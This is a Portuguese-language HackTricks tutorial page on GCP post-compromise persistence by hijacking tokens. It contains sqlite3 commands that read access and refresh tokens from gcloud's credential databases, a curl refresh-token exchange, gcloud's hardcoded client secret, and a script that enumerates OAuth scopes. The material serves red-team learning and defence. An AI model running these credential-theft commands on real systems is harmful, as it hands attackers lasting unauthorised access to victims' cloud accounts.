GCP - Non-svc Persistance

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Essas são técnicas úteis uma vez que, de alguma forma, você comprometeu algumas credenciais GCP ou máquina em execução em um ambiente GCP.

Sequestro de Token

Tokens de Usuário Autenticado

Para obter o token atual de um usuário, você pode executar:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Verifique nesta página como usar diretamente este token usando gcloud:

Para obter os detalhes para gerar um novo token de acesso, execute:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

Também é possível encontrar tokens de atualização em $HOME/.config/gcloud/application_default_credentials.json e em $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Para obter um novo token de acesso atualizado com o token de atualização, ID do cliente e segredo do cliente, execute:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

A validade dos tokens de atualização pode ser gerenciada em Admin > Segurança > Controle de sessão do Google Cloud, e por padrão está definida como 16h, embora possa ser configurada para nunca expirar:

Fluxo de autenticação

O fluxo de autenticação ao usar algo como gcloud auth login abrirá um prompt no navegador e, após aceitar todos os escopos, o navegador enviará uma solicitação como esta para a porta http aberta pela ferramenta:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Então, o gcloud usará o estado e o código com um client_id hardcoded (32555940559.apps.googleusercontent.com) e client_secret (ZmssLNjJy2998hD4CTg2ejr2) para obter os dados finais do token de atualização.

Note que a comunicação com localhost é feita em HTTP, então é possível interceptar os dados para obter um token de atualização, no entanto esses dados são válidos apenas uma vez, então isso seria inútil, é mais fácil apenas ler o token de atualização do arquivo.

Escopos do OAuth

Você pode encontrar todos os escopos do Google em https://developers.google.com/identity/protocols/oauth2/scopes ou obtê-los executando:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

É possível ver quais escopos a aplicação que gcloud usa para autenticar pode suportar com este script:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

Após executá-lo, foi verificado que este aplicativo suporta esses escopos:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

Contas de Serviço

Assim como com usuários autenticados, se você conseguir comprometer o arquivo de chave privada de uma conta de serviço, poderá acessá-la geralmente pelo tempo que desejar. No entanto, se você roubar o token OAuth de uma conta de serviço, isso pode ser ainda mais interessante, porque, mesmo que por padrão esses tokens sejam úteis apenas por uma hora, se a vítima excluir a chave de API privada, o token OAuth ainda será válido até expirar.

Metadados

Obviamente, enquanto estiver dentro de uma máquina em execução no ambiente GCP, você poderá acessar a conta de serviço vinculada a essa máquina entrando em contato com o endpoint de metadados (observe que os tokens Oauth que você pode acessar neste endpoint geralmente são restritos por escopos).

Soluções

Algumas soluções para essas técnicas são explicadas em https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

Referências

Última actualización